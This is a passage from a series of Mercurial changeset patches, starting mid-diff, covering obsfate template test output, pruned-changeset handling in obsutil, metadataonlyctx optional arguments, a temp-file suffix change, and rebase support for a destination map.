+  |/     Obsfate: rewritten as 4:eb5a0daa2192 by test (at 1970-01-01 00:00 +0000);
   o  ea207398892e
   
   $ hg up 'desc(B0)' --hidden
@@ -873,9 +874,9 @@
   o  eb5a0daa2192
   |
   | @  0dec01379d3b
-  | |    Obsfate: rewritten as 4:eb5a0daa2192 by test;
+  | |    Obsfate: rewritten as 4:eb5a0daa2192 by test (at 1970-01-01 00:00 +0000);
   | x  471f378eab4c
-  |/     Obsfate: rewritten as 4:eb5a0daa2192 by test;
+  |/     Obsfate: rewritten as 4:eb5a0daa2192 by test (at 1970-01-01 00:00 +0000);
   o  ea207398892e
   
   $ hg up 'desc(B1)' --hidden
@@ -903,9 +904,9 @@
   o  eb5a0daa2192
   |
   | @  b7ea6d14e664
-  | |    Obsfate: rewritten as 4:eb5a0daa2192 by test;
+  | |    Obsfate: rewritten as 4:eb5a0daa2192 by test (at 1970-01-01 00:00 +0000);
   | x  471f378eab4c
-  |/     Obsfate: rewritten as 4:eb5a0daa2192 by test;
+  |/     Obsfate: rewritten as 4:eb5a0daa2192 by test (at 1970-01-01 00:00 +0000);
   o  ea207398892e
   
   $ hg up 'desc(C0)'
@@ -954,11 +955,11 @@
   @  eb5a0daa2192
   |
   | x  b7ea6d14e664
-  | |    Obsfate: rewritten as 4:eb5a0daa2192 by test;
+  | |    Obsfate: rewritten as 4:eb5a0daa2192 by test (at 1970-01-01 00:00 +0000);
   | | x  0dec01379d3b
-  | |/     Obsfate: rewritten as 3:b7ea6d14e664 by test;
+  | |/     Obsfate: rewritten as 3:b7ea6d14e664 by test (at 1970-01-01 00:00 +0000);
   | x  471f378eab4c
-  |/     Obsfate: rewritten as 4:eb5a0daa2192 by test;
+  |/     Obsfate: rewritten as 4:eb5a0daa2192 by test (at 1970-01-01 00:00 +0000);
   o  ea207398892e
   
 
@@ -1082,7 +1083,7 @@
   o  7a230b46bf61
   |
   | @  471f378eab4c
-  |/     Obsfate: rewritten as 2:7a230b46bf61 by test;
+  |/     Obsfate: rewritten as 2:7a230b46bf61 by test (at 1970-01-01 00:00 +0000);
   o  ea207398892e
   
   $ hg up 'desc(A2)'
@@ -1119,7 +1120,7 @@
   @  7a230b46bf61
   |
   | x  471f378eab4c
-  |/     Obsfate: rewritten as 2:7a230b46bf61 by test;
+  |/     Obsfate: rewritten as 2:7a230b46bf61 by test (at 1970-01-01 00:00 +0000);
   o  ea207398892e
   
 
@@ -1194,9 +1195,9 @@
   o  f897c6137566
   |
   | @  0dec01379d3b
-  | |    Obsfate: rewritten as 3:f897c6137566 by test; rewritten as 1:471f378eab4c by test;
+  | |    Obsfate: rewritten as 3:f897c6137566 by test (at 1970-01-01 00:00 +0000); rewritten as 1:471f378eab4c by test (at 1970-01-01 00:00 +0000);
   | x  471f378eab4c
-  |/     Obsfate: rewritten as 2:0dec01379d3b by test;
+  |/     Obsfate: rewritten as 2:0dec01379d3b by test (at 1970-01-01 00:00 +0000);
   o  ea207398892e
   
 
@@ -1452,7 +1453,7 @@
   | o  ba2ed02b0c9a
   | |
   | x  4a004186e638
-  |/     Obsfate: rewritten as 8:b18bc8331526 by test; rewritten as 9:0b997eb7ceee by test;
+  |/     Obsfate: rewritten as 8:b18bc8331526 by test (at 1970-01-01 00:00 +0000); rewritten as 9:0b997eb7ceee by test (at 1970-01-01 00:00 +0000);
   o  dd800401bd8c
   |
   o  f897c6137566
@@ -1525,17 +1526,17 @@
   | o  ba2ed02b0c9a
   | |
   | x  4a004186e638
-  |/     Obsfate: rewritten as 8:b18bc8331526 by test; rewritten as 9:0b997eb7ceee by test;
+  |/     Obsfate: rewritten as 8:b18bc8331526 by test (at 1970-01-01 00:00 +0000); rewritten as 9:0b997eb7ceee by test (at 1970-01-01 00:00 +0000);
   o  dd800401bd8c
   |
   | x  9bd10a0775e4
-  |/     Obsfate: split as 5:dd800401bd8c, 6:4a004186e638, 7:ba2ed02b0c9a by test;
+  |/     Obsfate: split as 5:dd800401bd8c, 6:4a004186e638, 7:ba2ed02b0c9a by test (at 1970-01-01 00:00 +0000);
   o  f897c6137566
   |
   | x  0dec01379d3b
-  | |    Obsfate: rewritten as 3:f897c6137566 by test; rewritten as 1:471f378eab4c by test;
+  | |    Obsfate: rewritten as 3:f897c6137566 by test (at 1970-01-01 00:00 +0000); rewritten as 1:471f378eab4c by test (at 1970-01-01 00:00 +0000);
   | x  471f378eab4c
-  |/     Obsfate: rewritten as 2:0dec01379d3b by test;
+  |/     Obsfate: rewritten as 2:0dec01379d3b by test (at 1970-01-01 00:00 +0000);
   o  ea207398892e
   
   $ hg fatelogjson --hidden
@@ -1604,7 +1605,7 @@
   o  dd800401bd8c
   |
   | @  9bd10a0775e4
-  |/     Obsfate: split as 5:dd800401bd8c, 9:0b997eb7ceee, 10:eceed8f98ffc by test; split as 5:dd800401bd8c, 8:b18bc8331526, 10:eceed8f98ffc by test;
+  |/     Obsfate: split as 5:dd800401bd8c, 9:0b997eb7ceee, 10:eceed8f98ffc by test (at 1970-01-01 00:00 +0000); split as 5:dd800401bd8c, 8:b18bc8331526, 10:eceed8f98ffc by test (at 1970-01-01 00:00 +0000);
   o  f897c6137566
   |
   o  ea207398892e
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1499096336 -7200
#      Mon Jul 03 17:38:56 2017 +0200
# Node ID 98fa777cd7a107b7f4d70eef930bc41ca0691da5
# Parent  c35c0f54f4201bb4f97cb7e1815406c84a4def4e
template: better prune support in obsfate

successorssets don't returns good results for pruned commit, add a workaround
for simple cases.

A proper fix would require a large rework of successorssets algorithm, I will
send a separate series for this refactoring.

diff --git a/mercurial/obsutil.py b/mercurial/obsutil.py
--- a/mercurial/obsutil.py
+++ b/mercurial/obsutil.py
@@ -585,8 +585,40 @@
 
     ssets = successorssets(repo, ctx.node(), closest=True)
 
+    # closestsuccessors returns an empty list for pruned revisions, remap it
+    # into a list containing an empty list for future processing
+    if ssets == []:
+        ssets = [[]]
+
+    # Try to recover pruned markers
+    succsmap = repo.obsstore.successors
+    fullsuccessorsets = [] # successor set + markers
+    for sset in ssets:
+        if sset:
+            fullsuccessorsets.append(sset)
+        else:
+            # successorsset return an empty set() when ctx or one of its
+            # successors is pruned.
+            # In this case, walk the obs-markers tree again starting with ctx
+            # and find the relevant pruning obs-makers, the ones without
+            # successors.
+            # Having these markers allow us to compute some information about
+            # its fate, like who pruned this changeset and when.
+
+            # XXX we do not catch all prune markers (eg rewritten then pruned)
+            # (fix me later)
+            foundany = False
+            for mark in succsmap.get(ctx.node(), ()):
+                if not mark[1]:
+                    foundany = True
+                    sset = _succs()
+                    sset.markers.add(mark)
+                    fullsuccessorsets.append(sset)
+            if not foundany:
+                fullsuccessorsets.append(_succs())
+
     values = []
-    for sset in ssets:
+    for sset in fullsuccessorsets:
         values.append({'successors': sset, 'markers': sset.markers})
 
     return values
diff --git a/tests/test-obsmarker-template.t b/tests/test-obsmarker-template.t
--- a/tests/test-obsmarker-template.t
+++ b/tests/test-obsmarker-template.t
@@ -12,7 +12,7 @@
   > [experimental]
   > stabilization=all
   > [templates]
-  > obsfatesuccessors = " as {join(successors, ", ")}"
+  > obsfatesuccessors = "{if(successors, " as ")}{join(successors, ", ")}"
   > obsfateverb = "{obsfateverb(successors)}"
   > obsfateusers = "{if(obsfateusers(markers), " by {join(obsfateusers(markers), ", ")}")}"
   > obsfatedate = "{if(obsfatedate(markers), "{ifeq(min(obsfatedate(markers)), max(obsfatedate(markers)), " (at {min(obsfatedate(markers))|isodate})", " (between {min(obsfatedate(markers))|isodate} and {max(obsfatedate(markers))|isodate})")}")}"
@@ -165,7 +165,7 @@
   | @  a468dc9b3633
   |/     Obsfate: rewritten as 4:d004c8f274b9 by test2 (at 2001-04-19 04:25 +0000);
   | x  f137d23bb3e1
-  | |
+  | |    Obsfate: pruned by test1 (at 2009-02-13 23:31 +0000);
   | x  471f378eab4c
   |/     Obsfate: rewritten as 3:a468dc9b3633 by test1 (at 2009-02-13 23:31 +0000);
   o  ea207398892e
@@ -214,7 +214,7 @@
   | x  a468dc9b3633
   |/     Obsfate: rewritten as 4:d004c8f274b9 by test2 (at 2001-04-19 04:25 +0000);
   | x  f137d23bb3e1
-  | |
+  | |    Obsfate: pruned by test1 (at 2009-02-13 23:31 +0000);
   | x  471f378eab4c
   |/     Obsfate: rewritten as 3:a468dc9b3633 by test1 (at 2009-02-13 23:31 +0000);
   o  ea207398892e
@@ -225,7 +225,7 @@
   | x  a468dc9b3633
   |/     Obsfate: [{"markers": [["a468dc9b36338b14fdb7825f55ce3df4e71517ad", ["d004c8f274b9ec480a47a93c10dac5eee63adb78"], 0, [["user", "test2"]], [987654321.0, 0], null]], "successors": ["d004c8f274b9ec480a47a93c10dac5eee63adb78"]}]
   | x  f137d23bb3e1
-  | |
+  | |    Obsfate: [{"markers": [["f137d23bb3e11dc1daeb6264fac9cb2433782e15", [], 0, [["user", "test1"]], [1234567890.0, 0], ["471f378eab4c5e25f6c77f785b27c936efb22874"]]], "successors": []}]
   | x  471f378eab4c
   |/     Obsfate: [{"markers": [["471f378eab4c5e25f6c77f785b27c936efb22874", ["a468dc9b36338b14fdb7825f55ce3df4e71517ad"], 0, [["user", "test1"]], [1234567890.0, 0], null]], "successors": ["a468dc9b36338b14fdb7825f55ce3df4e71517ad"]}]
   o  ea207398892e
@@ -1218,7 +1218,7 @@
   o  f897c6137566
   |
   | @  471f378eab4c
-  |/
+  |/     Obsfate: pruned;
   o  ea207398892e
   
 
@@ -1635,11 +1635,11 @@
   
   $ hg fatelog
   @  471f378eab4c
-  |
+  |    Obsfate: pruned by test (at 1970-01-01 00:00 +0000);
   o  ea207398892e
   
   $ hg fatelog -v
   @  471f378eab4c
-  |
+  |    Obsfate: pruned by test (at 1970-01-01 00:00 +0000);
   o  ea207398892e
   
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1502986172 -7200
#      Thu Aug 17 18:09:32 2017 +0200
# Node ID d0f1e3d3ef4d0302f7437638c733c5f7c0478f39
# Parent  98fa777cd7a107b7f4d70eef930bc41ca0691da5
test: add more obsmarker tests for pruning scenarios

The obsfate output in cases of pruning is not ideal right now, add some tests
so have these scenarios around.

diff --git a/tests/test-obsmarker-template.t b/tests/test-obsmarker-template.t
--- a/tests/test-obsmarker-template.t
+++ b/tests/test-obsmarker-template.t
@@ -1643,3 +1643,138 @@
   |    Obsfate: pruned by test (at 1970-01-01 00:00 +0000);
   o  ea207398892e
   
+Test templates with multiple pruned commits
+===========================================
+
+Test setup
+----------
+
+  $ hg init $TESTTMP/multiple-local-prune
+  $ cd $TESTTMP/multiple-local-prune
+  $ mkcommit ROOT
+  $ mkcommit A0
+  $ hg commit --amend -m "A1"
+  $ hg debugobsolete --record-parent `getid "."`
+  obsoleted 1 changesets
+
+  $ hg up -r "desc(A0)" --hidden
+  0 files updated, 0 files merged, 0 files removed, 0 files unresolved
+  $ hg commit --amend -m "A2"
+  $ hg debugobsolete --record-parent `getid "."`
+  obsoleted 1 changesets
+
+Check output
+------------
+
+  $ hg up "desc(A0)" --hidden
+  0 files updated, 0 files merged, 0 files removed, 0 files unresolved
+  $ hg tlog
+  @  471f378eab4c
+  |
+  o  ea207398892e
+  
+# todo: the obsfate output is not ideal
+  $ hg fatelog
+  @  471f378eab4c
+  |    Obsfate: pruned;
+  o  ea207398892e
+  
+  $ hg fatelog -v --hidden
+  x  65b757b745b9
+  |    Obsfate: pruned by test (at 1970-01-01 00:00 +0000);
+  | x  fdf9bde5129a
+  |/     Obsfate: pruned by test (at 1970-01-01 00:00 +0000);
+  | @  471f378eab4c
+  |/     Obsfate: rewritten as 2:fdf9bde5129a by test (at 1970-01-01 00:00 +0000); rewritten as 3:65b757b745b9 by test (at 1970-01-01 00:00 +0000);
+  o  ea207398892e
+  
+
+Test templates with splitted and pruned commit
+==============================================
+
+  $ hg init $TESTTMP/templates-local-split-prune
+  $ cd $TESTTMP/templates-local-split-prune
+  $ mkcommit ROOT
+  $ echo 42 >> a
+  $ echo 43 >> b
+  $ hg commit -A -m "A0"
+  adding a
+  adding b
+  $ hg log --hidden -G
+  @  changeset:   1:471597cad322
+  |  tag:         tip
+  |  user:        test
+  |  date:        Thu Jan 01 00:00:00 1970 +0000
+  |  summary:     A0
+  |
+  o  changeset:   0:ea207398892e
+     user:        test
+     date:        Thu Jan 01 00:00:00 1970 +0000
+     summary:     ROOT
+  
+# Simulate split
+  $ hg up -r "desc(ROOT)"
+  0 files updated, 0 files merged, 2 files removed, 0 files unresolved
+  $ echo 42 >> a
+  $ hg commit -A -m "A1"
+  adding a
+  created new head
+  $ echo 43 >> b
+  $ hg commit -A -m "A2"
+  adding b
+  $ hg debugobsolete `getid "1"` `getid "2"` `getid "3"`
+  obsoleted 1 changesets
+
+# Simulate prune
+  $ hg debugobsolete --record-parent `getid "."`
+  obsoleted 1 changesets
+
+  $ hg log --hidden -G
+  @  changeset:   3:0d0ef4bdf70e
+  |  tag:         tip
+  |  user:        test
+  |  date:        Thu Jan 01 00:00:00 1970 +0000
+  |  summary:     A2
+  |
+  o  changeset:   2:617adc3a144c
+  |  parent:      0:ea207398892e
+  |  user:        test
+  |  date:        Thu Jan 01 00:00:00 1970 +0000
+  |  summary:     A1
+  |
+  | x  changeset:   1:471597cad322
+  |/   user:        test
+  |    date:        Thu Jan 01 00:00:00 1970 +0000
+  |    summary:     A0
+  |
+  o  changeset:   0:ea207398892e
+     user:        test
+     date:        Thu Jan 01 00:00:00 1970 +0000
+     summary:     ROOT
+  
+Check templates
+---------------
+
+  $ hg up 'desc("A0")' --hidden
+  0 files updated, 0 files merged, 0 files removed, 0 files unresolved
+
+# todo: the obsfate output is not ideal
+  $ hg fatelog
+  o  617adc3a144c
+  |
+  | @  471597cad322
+  |/     Obsfate: pruned;
+  o  ea207398892e
+  
+  $ hg up -r 'desc("A2")' --hidden
+  0 files updated, 0 files merged, 0 files removed, 0 files unresolved
+
+  $ hg fatelog --hidden
+  @  0d0ef4bdf70e
+  |    Obsfate: pruned by test (at 1970-01-01 00:00 +0000);
+  o  617adc3a144c
+  |
+  | x  471597cad322
+  |/     Obsfate: split as 2:617adc3a144c, 3:0d0ef4bdf70e by test (at 1970-01-01 00:00 +0000);
+  o  ea207398892e
+  
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1503964181 25200
#      Mon Aug 28 16:49:41 2017 -0700
# Node ID becce02036e1b4d795342ec7c822e4307fb70dfc
# Parent  d0f1e3d3ef4d0302f7437638c733c5f7c0478f39
context: make parents and text optional in metadataonlyctx

The metadataonlyctx is to copy an existing context with some minor metadata
changes. If the caller only wants to change "extra", or "user", ideally it
does not have to read and pass "parents" and "text" information.

This patch makes "parents" and "text" optionally to convenient callers.

Differential Revision: https://phab.mercurial-scm.org/D548

diff --git a/mercurial/context.py b/mercurial/context.py
--- a/mercurial/context.py
+++ b/mercurial/context.py
@@ -2298,15 +2298,23 @@
     def __new__(cls, repo, originalctx, *args, **kwargs):
         return super(metadataonlyctx, cls).__new__(cls, repo)
 
-    def __init__(self, repo, originalctx, parents, text, user=None, date=None,
-                 extra=None, editor=False):
+    def __init__(self, repo, originalctx, parents=None, text=None, user=None,
+                 date=None, extra=None, editor=False):
+        if text is None:
+            text = originalctx.description()
         super(metadataonlyctx, self).__init__(repo, text, user, date, extra)
         self._rev = None
         self._node = None
         self._originalctx = originalctx
         self._manifestnode = originalctx.manifestnode()
-        parents = [(p or nullid) for p in parents]
-        p1, p2 = self._parents = [changectx(self._repo, p) for p in parents]
+        if parents is None:
+            parents = originalctx.parents()
+        else:
+            parents = [repo[p] for p in parents if p is not None]
+        parents = parents[:]
+        while len(parents) < 2:
+            parents.append(repo[nullid])
+        p1, p2 = self._parents = parents
 
         # sanity check to ensure that the reused manifest parents are
         # manifests of our commit parents
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1503964739 25200
#      Mon Aug 28 16:58:59 2017 -0700
# Node ID be814edf330652899299f3b2d2eb64dedfd5a18a
# Parent  becce02036e1b4d795342ec7c822e4307fb70dfc
metadataonlyctx: don't crash when reusing the manifest with deletions

This was originally fixed by Mateusz Kwapich for the `metaedit` command in
fb-hgext with a test for the `metaedit` command. It didn't get upstreamed
because `metaedit` was not in core.

This patch fixes the crash and adds a test about `metadataonlyctx` to
avoid future regressions.

Differential Revision: https://phab.mercurial-scm.org/D550

diff --git a/mercurial/context.py b/mercurial/context.py
--- a/mercurial/context.py
+++ b/mercurial/context.py
@@ -2371,7 +2371,7 @@
         for f in self._files:
             if not managing(f):
                 added.append(f)
-            elif self[f]:
+            elif f in self:
                 modified.append(f)
             else:
                 removed.append(f)
diff --git a/tests/test-context-metadata.t b/tests/test-context-metadata.t
new file mode 100644
--- /dev/null
+++ b/tests/test-context-metadata.t
@@ -0,0 +1,50 @@
+Tests about metadataonlyctx
+
+  $ hg init
+  $ echo A > A
+  $ hg commit -A A -m 'Add A'
+  $ echo B > B
+  $ hg commit -A B -m 'Add B'
+  $ hg rm A
+  $ echo C > C
+  $ echo B2 > B
+  $ hg add C -q
+  $ hg commit -m 'Remove A'
+
+  $ cat > metaedit.py <<EOF
+  > from __future__ import absolute_import
+  > from mercurial import context, registrar
+  > cmdtable = {}
+  > command = registrar.command(cmdtable)
+  > @command('metaedit')
+  > def metaedit(ui, repo, arg):
+  >     # Modify commit message to "FOO"
+  >     with repo.wlock(), repo.lock(), repo.transaction('metaedit'):
+  >         old = repo['.']
+  >         kwargs = dict(s.split('=', 1) for s in arg.split(';'))
+  >         if 'parents' in kwargs:
+  >             kwargs['parents'] = kwargs['parents'].split(',')
+  >         new = context.metadataonlyctx(repo, old, **kwargs)
+  >         new.commit()
+  > EOF
+  $ hg --config extensions.metaedit=$TESTTMP/metaedit.py metaedit 'text=Changed'
+  $ hg log -r tip
+  changeset:   3:ad83e9e00ec9
+  tag:         tip
+  parent:      1:3afb7afe6632
+  user:        test
+  date:        Thu Jan 01 00:00:00 1970 +0000
+  summary:     Changed
+  
+  $ hg --config extensions.metaedit=$TESTTMP/metaedit.py metaedit 'parents=0' 2>&1 | egrep '^\S*Error'
+  RuntimeError: can't reuse the manifest: its p1 doesn't match the new ctx p1
+
+  $ hg --config extensions.metaedit=$TESTTMP/metaedit.py metaedit 'user=foo <foo@example.com>'
+  $ hg log -r tip
+  changeset:   4:1f86eaeca92b
+  tag:         tip
+  parent:      1:3afb7afe6632
+  user:        foo <foo@example.com>
+  date:        Thu Jan 01 00:00:00 1970 +0000
+  summary:     Remove A
+  
# HG changeset patch
# User Martin von Zweigbergk <martinvonz@google.com>
# Date 1503957994 25200
#      Mon Aug 28 15:06:34 2017 -0700
# Node ID 5cef00cdba7fc435cb2c2d940abd4cd445dcbb4c
# Parent  be814edf330652899299f3b2d2eb64dedfd5a18a
tests: rename test-terse-status.t to test-status-terse.t

When looking for status tests, most people would probably look for
"test-status*", so it would be nice if they could find it there. This
also let's them run (most) status tests with "run-tests.py
test-status*".

Differential Revision: https://phab.mercurial-scm.org/D547

diff --git a/tests/test-terse-status.t b/tests/test-status-terse.t
rename from tests/test-terse-status.t
rename to tests/test-status-terse.t
# HG changeset patch
# User Martin von Zweigbergk <martinvonz@google.com>
# Date 1503956838 25200
#      Mon Aug 28 14:47:18 2017 -0700
# Node ID 3340efe808031588f9b7dc9b32ec9bf338079342
# Parent  5cef00cdba7fc435cb2c2d940abd4cd445dcbb4c
morestatus: simplify check for unresolved merge conflicts

Differential Revision: https://phab.mercurial-scm.org/D546

diff --git a/mercurial/cmdutil.py b/mercurial/cmdutil.py
--- a/mercurial/cmdutil.py
+++ b/mercurial/cmdutil.py
@@ -587,7 +587,7 @@
         return
 
     m = scmutil.match(repo[None])
-    unresolvedlist = [f for f in mergestate if m(f) and mergestate[f] == 'u']
+    unresolvedlist = [f for f in mergestate.unresolved() if m(f)]
     if unresolvedlist:
         mergeliststr = '\n'.join(
             ['    %s' % os.path.relpath(
# HG changeset patch
# User Michael Bolin <mbolin@fb.com>
# Date 1503362318 0
#      Tue Aug 22 00:38:38 2017 +0000
# Node ID 2ad028635ccd4d47e565c5d59af98ca32165eb3e
# Parent  3340efe808031588f9b7dc9b32ec9bf338079342
util: use ~ as a suffix for a temp file in the same directory as a source file

Tools like Buck have patterns to ignore the creation of files (in the working
copy) that match certain patterns:

https://github.com/facebook/buck/blob/39278a4f0701c5239eae148968dc1ed4cc8661f7/src/com/facebook/buck/cli/Main.java#L259-L299

When Buck sees a new source file (as reported by Watchman), it has to invalidate
a number of caches associated with the directory that contains the file.
Using a standard suffix, such as `~`, would make it easier for Buck and others
to filter out these types of file creation events.

The other uses of `tempfile.mkstemp()` in Hg do not appear to be problematic
because they (generally speaking) do not specify the `dir` parameter, so the
new file is created in the system-appropriate temp directory, which is outside
the working copy.

Test Plan:
`make tests`

Differential Revision: https://phab.mercurial-scm.org/D468

diff --git a/mercurial/util.py b/mercurial/util.py
--- a/mercurial/util.py
+++ b/mercurial/util.py
@@ -1525,7 +1525,7 @@
     Returns the name of the temporary file.
     """
     d, fn = os.path.split(name)
-    fd, temp = tempfile.mkstemp(prefix='.%s-' % fn, dir=d)
+    fd, temp = tempfile.mkstemp(prefix='.%s-' % fn, suffix='~', dir=d)
     os.close(fd)
     # Temporary files are created with mode 0600, which is usually not
     # what we want.  If the original file already exists, just copy
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1502436712 25200
#      Fri Aug 11 00:31:52 2017 -0700
# Node ID ba9d5d48bf95b91df9af12c6716e8cd90f257de8
# Parent  2ad028635ccd4d47e565c5d59af98ca32165eb3e
rebase: rewrite _computeobsoletenotrebased

The old code stores successors of all related nodes together, which works
fine if destination is unique. A future patch would make destination
non-unique so let's change the implementation to test successors for
rebaseset separately.

Differential Revision: https://phab.mercurial-scm.org/D347

diff --git a/hgext/rebase.py b/hgext/rebase.py
--- a/hgext/rebase.py
+++ b/hgext/rebase.py
@@ -1484,31 +1484,24 @@
     obsolete => None entries in the mapping indicate nodes with no successor"""
     obsoletenotrebased = {}
 
-    # Build a mapping successor => obsolete nodes for the obsolete
-    # nodes to be rebased
-    allsuccessors = {}
-    cl = repo.changelog
-    for r in rebaseobsrevs:
-        node = cl.node(r)
-        for s in obsutil.allsuccessors(repo.obsstore, [node]):
-            try:
-                allsuccessors[cl.rev(s)] = cl.rev(node)
-            except LookupError:
-                pass
-
-    if allsuccessors:
-        # Look for successors of obsolete nodes to be rebased among
-        # the ancestors of dest
-        ancs = cl.ancestors([dest],
-                            stoprev=min(allsuccessors),
-                            inclusive=True)
-        for s in allsuccessors:
-            if s in ancs:
-                obsoletenotrebased[allsuccessors[s]] = s
-            elif (s == allsuccessors[s] and
-                  allsuccessors.values().count(s) == 1):
-                # plain prune
-                obsoletenotrebased[s] = None
+    cl = repo.unfiltered().changelog
+    nodemap = cl.nodemap
+    destnode = cl.node(dest)
+    for srcrev in rebaseobsrevs:
+        srcnode = cl.node(srcrev)
+        # XXX: more advanced APIs are required to handle split correctly
+        successors = list(obsutil.allsuccessors(repo.obsstore, [srcnode]))
+        if len(successors) == 1:
+            # obsutil.allsuccessors includes node itself. When the list only
+            # contains one element, it means there are no successors.
+            obsoletenotrebased[srcrev] = None
+        else:
+            for succnode in successors:
+                if succnode == srcnode or succnode not in nodemap:
+                    continue
+                if cl.isancestor(succnode, destnode):
+                    obsoletenotrebased[srcrev] = nodemap[succnode]
+                    break
 
     return obsoletenotrebased
 
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1502436739 25200
#      Fri Aug 11 00:32:19 2017 -0700
# Node ID af609bb3487f060c9a44aba6753275b1cbbbeaba
# Parent  ba9d5d48bf95b91df9af12c6716e8cd90f257de8
rebase: change internal format to support destination map

A later patch will add multiple destination support. This patch changes
internal state and the rebase state file format to support that. But the
external interface still only supports single destination.

A test was added to make sure rebase still supports legacy state file.

The new state file is incompatible with old clients. We had done similar
state file format change before: 5eac7ab, 92409f8, and 72412af. The state
file is transient, so the impact of incompatibility is limited. Besides,
the old client won't support multiple destinations anyway so it does not
really make sense to make the file format compatible with them.

Differential Revision: https://phab.mercurial-scm.org/D348

diff --git a/hgext/rebase.py b/hgext/rebase.py
--- a/hgext/rebase.py
+++ b/hgext/rebase.py
@@ -21,7 +21,6 @@
 
 from mercurial.i18n import _
 from mercurial.node import (
-    hex,
     nullid,
     nullrev,
     short,
@@ -60,6 +59,7 @@
 
 # Indicates that a revision needs to be rebased
 revtodo = -1
+revtodostr = '-1'
 
 # legacy revstates no longer needed in current code
 # -2: nullmerge, -3: revignored, -4: revprecursor, -5: revpruned
@@ -146,7 +146,7 @@
         # dict will be what contains most of the rebase progress state.
         self.state = {}
         self.activebookmark = None
-        self.dest = None
+        self.destmap = {}
         self.skipped = set()
 
         self.collapsef = opts.get('collapse', False)
@@ -177,34 +177,34 @@
     def _writestatus(self, f):
         repo = self.repo.unfiltered()
         f.write(repo[self.originalwd].hex() + '\n')
-        f.write(repo[self.dest].hex() + '\n')
+        # was "dest". we now write dest per src root below.
+        f.write('\n')
         f.write(repo[self.external].hex() + '\n')
         f.write('%d\n' % int(self.collapsef))
         f.write('%d\n' % int(self.keepf))
         f.write('%d\n' % int(self.keepbranchesf))
         f.write('%s\n' % (self.activebookmark or ''))
+        destmap = self.destmap
         for d, v in self.state.iteritems():
             oldrev = repo[d].hex()
             if v >= 0:
                 newrev = repo[v].hex()
-            elif v == revtodo:
-                # To maintain format compatibility, we have to use nullid.
-                # Please do remove this special case when upgrading the format.
-                newrev = hex(nullid)
             else:
                 newrev = v
-            f.write("%s:%s\n" % (oldrev, newrev))
+            destnode = repo[destmap[d]].hex()
+            f.write("%s:%s:%s\n" % (oldrev, newrev, destnode))
         repo.ui.debug('rebase status stored\n')
 
     def restorestatus(self):
         """Restore a previously stored status"""
         repo = self.repo
         keepbranches = None
-        dest = None
+        legacydest = None
         collapse = False
         external = nullrev
         activebookmark = None
         state = {}
+        destmap = {}
 
         try:
             f = repo.vfs("rebasestate")
@@ -212,7 +212,10 @@
                 if i == 0:
                     originalwd = repo[l].rev()
                 elif i == 1:
-                    dest = repo[l].rev()
+                    # this line should be empty in newer version. but legacy
+                    # clients may still use it
+                    if l:
+                        legacydest = repo[l].rev()
                 elif i == 2:
                     external = repo[l].rev()
                 elif i == 3:
@@ -227,10 +230,17 @@
                     # oldrev:newrev lines
                     activebookmark = l
                 else:
-                    oldrev, newrev = l.split(':')
+                    args = l.split(':')
+                    oldrev = args[0]
+                    newrev = args[1]
                     if newrev in legacystates:
                         continue
-                    elif newrev == nullid:
+                    if len(args) > 2:
+                        destnode = args[2]
+                    else:
+                        destnode = legacydest
+                    destmap[repo[oldrev].rev()] = repo[destnode].rev()
+                    if newrev in (nullid, revtodostr):
                         state[repo[oldrev].rev()] = revtodo
                         # Legacy compat special case
                     else:
@@ -247,7 +257,7 @@
         skipped = set()
         # recompute the set of skipped revs
         if not collapse:
-            seen = {dest}
+            seen = set(destmap.values())
             for old, new in sorted(state.items()):
                 if new != revtodo and new in seen:
                     skipped.add(old)
@@ -258,7 +268,7 @@
         _setrebasesetvisibility(repo, set(state.keys()) | {originalwd})
 
         self.originalwd = originalwd
-        self.dest = dest
+        self.destmap = destmap
         self.state = state
         self.skipped = skipped
         self.collapsef = collapse
@@ -267,12 +277,11 @@
         self.external = external
         self.activebookmark = activebookmark
 
-    def _handleskippingobsolete(self, rebaserevs, obsoleterevs, dest):
+    def _handleskippingobsolete(self, obsoleterevs, destmap):
         """Compute structures necessary for skipping obsolete revisions
 
-        rebaserevs:     iterable of all revisions that are to be rebased
         obsoleterevs:   iterable of all obsolete revisions in rebaseset
-        dest:           a destination revision for the rebase operation
+        destmap:        {srcrev: destrev} destination revisions
         """
         self.obsoletenotrebased = {}
         if not self.ui.configbool('experimental', 'rebaseskipobsolete',
@@ -280,7 +289,7 @@
             return
         obsoleteset = set(obsoleterevs)
         self.obsoletenotrebased = _computeobsoletenotrebased(self.repo,
-                                    obsoleteset, dest)
+                                    obsoleteset, destmap)
         skippedset = set(self.obsoletenotrebased)
         _checkobsrebase(self.repo, self.ui, obsoleteset, skippedset)
 
@@ -300,13 +309,14 @@
                 hint = _('use "hg rebase --abort" to clear broken state')
                 raise error.Abort(msg, hint=hint)
         if isabort:
-            return abort(self.repo, self.originalwd, self.dest,
+            return abort(self.repo, self.originalwd, self.destmap,
                          self.state, activebookmark=self.activebookmark)
 
-    def _preparenewrebase(self, dest, rebaseset):
-        if dest is None:
+    def _preparenewrebase(self, destmap):
+        if not destmap:
             return _nothingtorebase()
 
+        rebaseset = destmap.keys()
         allowunstable = obsolete.isenabled(self.repo, obsolete.allowunstableopt)
         if (not (self.keepf or allowunstable)
               and self.repo.revs('first(children(%ld) - %ld)',
@@ -316,10 +326,10 @@
                   " unrebased descendants"),
                 hint=_('use --keep to keep original changesets'))
 
-        obsrevs = _filterobsoleterevs(self.repo, set(rebaseset))
-        self._handleskippingobsolete(rebaseset, obsrevs, dest.rev())
+        obsrevs = _filterobsoleterevs(self.repo, rebaseset)
+        self._handleskippingobsolete(obsrevs, destmap)
 
-        result = buildstate(self.repo, dest, rebaseset, self.collapsef,
+        result = buildstate(self.repo, destmap, self.collapsef,
                             self.obsoletenotrebased)
 
         if not result:
@@ -333,14 +343,21 @@
                                   % root,
                                   hint=_("see 'hg help phases' for details"))
 
-        (self.originalwd, self.dest, self.state) = result
+        (self.originalwd, self.destmap, self.state) = result
         if self.collapsef:
-            destancestors = self.repo.changelog.ancestors([self.dest],
+            dests = set(self.destmap.values())
+            if len(dests) != 1:
+                raise error.Abort(
+                    _('--collapse does not work with multiple destinations'))
+            destrev = next(iter(dests))
+            destancestors = self.repo.changelog.ancestors([destrev],
                                                           inclusive=True)
